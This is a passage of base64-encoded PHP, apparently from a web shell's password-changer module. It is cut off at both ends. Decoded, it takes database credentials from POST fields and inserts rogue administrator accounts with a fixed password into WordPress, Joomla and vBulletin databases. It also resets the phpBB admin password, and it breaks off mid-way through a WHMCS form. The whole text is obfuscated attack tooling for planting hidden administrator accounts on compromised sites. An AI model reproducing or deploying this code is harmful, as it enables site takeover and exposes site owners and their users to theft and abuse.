T4nOwppZiAoJF9QT1NUWydob2tpMiddICYmICRfUE9TVFsnaG9raTInXSA9PSAnPj4nKXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTMnXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpNCddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k1J107
CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTYnXTsKJGFkbWluID0gJF9QT1NUWydob2tpOCddOwokU1FMID0gJF9QT1NUWydob2tpOSddOwokcHJlZml4ID0gJF9QT1NUWydob2tpMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3Q
sJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoSUQsdXNlcl9sb2dpbix1c2
VyX3Bhc3MsdXNlcl9lbWFpbCkgdmFsdWVzKG51bGwsJyRhZG1pbicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JywnJFNRTCcpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5K
CRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZSA9IEBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwpp
ZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID0gQG15c3FsaV9mZXRjaF9hc3NvYygka2lzZXJ5b3VuaSk7CiRyZXMgPSAka2lzZXZpc1snSUQnXTsKfQoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXg
uInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdraXNlcnlvdW5pJyksKG51bGwsJyIuJHJlcy4iJywnbGFzdF9uYW1lJywna2lzZXJ5b3VuaS
cpLChudWxsLCciLiRyZXMuIicsJ25pY2tuYW1lJywna2lzZXJ5b3VuaScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywna2lzZXJ5b3VuaScpLChudWxsLCciLiRyZXMuIicsJ3JpY2hfZWRpdGluZycsJ3RydWUnKSwobnVsbCwnIi4kc
mVzLiInLCdjb21tZW50X3Nob3J0Y3V0cycsJ2ZhbHNlJyksKG51bGwsJyIuJHJlcy4iJywnYWRtaW5fY29sb3InLCdmcmVzaCcpLChudWxsLCciLiRyZXMuIicsJ3VzZV9zc2wnLCcwJyksKG51bGwsJyIuJHJlcy4iJywnc2hvd19hZG1pbl9iYXJf
ZnJvbnQnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJjYXBhYmlsaXRpZXMnLCdhOjE6e3M6MTM6XCJhZG1pbmlzdHJhdG9yXCI7YjoxO30nKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguInVzZXJfbGV2ZWwnLCcxMCc
pLChudWxsLCciLiRyZXMuIicsJ3Nob3dfd2VsY29tZV9wYW5lbCcsJzEnKSwobnVsbCwnIi4kcmVzLiInLCciLiRwcmVmaXguImRhc2hib2FyZF9xdWlja19wcmVzc19sYXN0X3Bvc3RfaWQnLCczJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb2
5uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZigkX1BPU1RbJ2hva2kyJ10gJiYgJF9QT1NUWydob2tpMiddID09ICdqb29tbGEnKXsKCmVjaG8gX19wcmUoK
S4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEpvb21sYSB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdqb29tbGEnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+
XCcsXCdqb29tbGFcJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxudWxsLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSx0aGlzLnB
yZWZpeC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJQT1NUIj4nOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QnLCAnaWQnPT4nZGJfaG9zdCcsJ2
lucHV0TmFtZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAna
WQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNl
cicsICdpZCc9PidkYl91c2VyJywnaW5wdXROYW1lJyA9PiAndXNlcm5hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICd
EYiBQYXNzJywgJ2lkJz0+J2RiX3B3JywnaW5wdXROYW1lJyA9PiAncGFzc3dvcmQnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID
0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICdqb3NfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwM
DAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywg
J3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAndG9mdG9mJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSg
nY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmlAZmJpLmdvdicsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV
90YWJsZSgkdGFibGUpOwplY2hvICc8cD48aW5wdXQgdmFsdWU9IiAiIG5hbWU9InNlbmQiIHR5cGU9InN1Ym1pdCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZiAoJF9QT1NUWydob2tpMSddICYmICRfUE9TVFsnaG9raTEnXSA9PSAnPj4nKXsKJ
GxvY2FsaG9zdCA9ICRfUE9TVFsnaG9raTMnXTsKJGRhdGFiYXNlID0gJF9QT1NUWydob2tpNCddOwokdXNlcm5hbWUgPSAkX1BPU1RbJ2hva2k1J107CiRwYXNzd29yZCA9ICRfUE9TVFsnaG9raTYnXTsKJGFkbWluID0gJF9QT1NUWydob2tpOCdd
OwokU1FMID0gJF9QT1NUWydob2tpOSddOwokcHJlZml4ID0gJF9QT1NUWydob2tpMTAnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGN
vbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8gIi4kcHJlZml4LiJ1c2VycyAoaWQsbmFtZSx1c2VybmFtZSxlbWFpbCxwYXNzd29yZCkgdmFsdWVzKG51bGwsJ1N1cGVyIFVzZXInLCciLiRhZG1pbi4iJy
wnIi4kU1FMLiInLCdkNGE1OTBjYWFjYzBiZTU1ZWYyODZlNDBhOTQ1ZWE0NScpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwoka2lzZXJ5b3VuaT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZ
XJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2UgPUBteXNxbGlfbnVtX3Jvd3MoJGtpc2VyeW91bmkpOwppZiAoJGtpc2UgPT0gMSl7CiRraXNldmlzID1AbXlzcWxpX2ZldGNo
X2Fzc29jKCRraXNlcnlvdW5pKTsKJHJlcyA9ICRraXNldmlzWydpZCddOwp9CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSB
WQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZigkX1BPU1RbJ2hva2
k0J10gJiYgJF9QT1NUWydob2tpNCddID09ICd2YicpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdkJ1bGxldGluIHw8ZGl2PjxwPicuZ2V0Q29uZmlnSHRtbCgndmInKS4nPC9wP
jxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLHRoaXMucHJl
Zml4LnZhbHVlLHRoaXMuYWRtaW4udmFsdWUsdGhpcy5lbWFpbC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0
+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0
ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJ
yA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgn
Y29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJ
heSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndG
Q2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9P
gogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnaGknLCAnaW5wdXRWYWx1ZScgPT4gJ2tpc2VyeW91bmknLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+
IHRydWUpLAogJ3RkOCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBFbWFpbCcsICdpbnB1dE5hbWUnID0+ICdlbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaUBmYmkuZ292JywgJ2lucHV
0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnaG9raTEnXSAmJiAkX1
BPU1RbJ2hva2kxJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k2J107C
iRwcmVmaXggPSAkX1BPU1RbJ2hva2k3J107CiRhZG1pbiA9ICRfUE9TVFsnaG9raTgnXTsKJFNRTCA9ICRfUE9TVFsnaG9raTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2Up
IG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH1
1c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY2
9sID4gMCl7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fXVzZXIgKHVzZXJpZCx1c2VyZ3JvdXBpZCx1c2VybmFtZSxwYXNzd29yZCxzYWx0LGVtYWlsLHBhc3N3b3JkZGF0ZSxqb2luZGF0ZSkgd
mFsdWVzKG51bGwsJzYnLCckYWRtaW4nLCc1MmUyOGI3OGY1NTY0MWNkNDYxOGFkMWEyMGY1ZmQ1YycsJ1h3fEliR0xoVFFBLUF3QXBWdj42MXleKHpdKjxRTicsJyRTUUwnLCciLmRhdGUoJ1ktbS1kJykuIicsJyIudGltZSgpLiInKSIpIG9yIGRp
ZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKfWVsc2V7CiRhZG1fcGVybSA9ICIyMTQzMjU2NDQ0IjsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9dXNlciAodXNlcmlkLHVzZXJncm91cGlkLHVzZXJ
uYW1lLHRva2VuLHNlY3JldCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUsc2NoZW1lLGJpcnRoZGF5X3NlYXJjaCkgdmFsdWVzKG51bGwsJzYnLCckYWRtaW4nLCdcJDJ5XCQxMFwkWXNWaFYuOXRMbnpCWXhhcjFCSkFHTzN2Rno2OC9xRFU3Sn
Q2MlNEZEx5NmxVVDlONVovd3EnLCdRZn5BRGVBfWlBZXktJiNBTFFGPH0vdUJEcVNudz4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJywnYmxvd2Zpc2g6MTAnLCcxOTg0LTA1LTIwJykiKSBvciBkaWUobXlzcWxpX2Vyc
m9yKCRjb25uKSk7Cn0KJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IHVzZXJpZCBmcm9tIHskcHJlZml4fXVzZXIgd2hlcmUgdXNlcm5hbWU9JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwok
a2lzZSA9IG15c3FsaV9udW1fcm93cygka2lzZXJ5b3VuaSk7CmlmKCRraXNlID09IDEpewoka2lzZXZpcyA9IG15c3FsaV9mZXRjaF9hc3NvYygka2lzZXJ5b3VuaSk7CiRyZXMgPSAka2lzZXZpc1sndXNlcmlkJ107Cn0KJGtpc2VyeW91bmk9QG1
5c3FsaV9xdWVyeSgkY29ubiwiaW5zZXJ0IGludG8geyRwcmVmaXh9YWRtaW5pc3RyYXRvciAodXNlcmlkLGFkbWlucGVybWlzc2lvbnMpIHZhbHVlcygnIi4kcmVzLiInLCciLiRhZG1fcGVybS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb2
5uKSk7CmlmKCRraXNlcnlvdW5pKXsKX19hbGVydCgnU3VjY2Vzcy4uLiAnLiRhZG1pbi4nIGlzIGNyZWF0ZWQuLi4nKTt9Cn0KfQppZihpc3NldCgkX1BPU1RbJ2hva2k1J10pICYmICRfUE9TVFsnaG9raTUnXSA9PSAncGhwYmInKXsKCmVjaG8gX
19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBwaHBCQiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdwaHBiYicpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0
aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsXCdwaHBiYlwnLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXg
udmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdX
ROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9P
idkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywg
J2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFB
hc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1
RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0Z
E5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUn
ID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAna2lzZXJ5b3VuaScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA
9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdraXNlcnlvdW5pQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJH
RhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnaG9raTEnXSAmJiAkX1BPU1RbJ2hva2kxJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc
3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnaG9raTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydob2tpNCddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2hva2k2J107CiRhZG1pbiA9ICRfUE9TVFsnaG9raTgnXTsKJFNRTCA9
ICRfUE9TVFsnaG9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiR
oYXNoID0gbWQ1KCdraXNlcnlvdW5pJyk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZV9jbGVhbiA9JyIuJGFkbWluLiInIFdIRVJFIHVzZXJuYW1lX2NsZWFuID0gJ2
FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJFIHVzZXJuYW1lX
2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kYWRtaW4uIicgV0hF
UkUgdXNlcl90eXBlID0gMyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGtpc2VyeW91bmk9QG15c3FsaV9xdWVyeSgkY29ubiwiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzc3dvcmQgPSciLiRoYXNoLiInIFdIRVJ
FIHVzZXJfdHlwZSA9IDMiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRraXNlcnlvdW5pPUBteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSAiLiRwcmVmaXguInVzZXJzIFNFVCB1c2VyX2VtYWlsID0nIi4kU1FMLiInIFdIRVJFIHVzZX
JuYW1lX2NsZWFuID0gJ2FkbWluJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoJGtpc2VyeW91bmkpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpOwp9Cn0KfQppZihpc3NldCgkX1BPU1RbJ
2hva2k2J10pICYmICRfUE9TVFsnaG9raTYnXSA9PSAnd2htY3MnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBXaG1jcyB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCd3aG1jcycpLic8
L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyx0aGlzLmxvY2FsaG9zdC52YWx1ZSx0aGlzLmRhdGFiYXNlLnZhbHVlLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSxcJ3dobWNzXCcsbnV
sbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcW
wgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnL
CAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZG
RkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA
9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG
9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9P
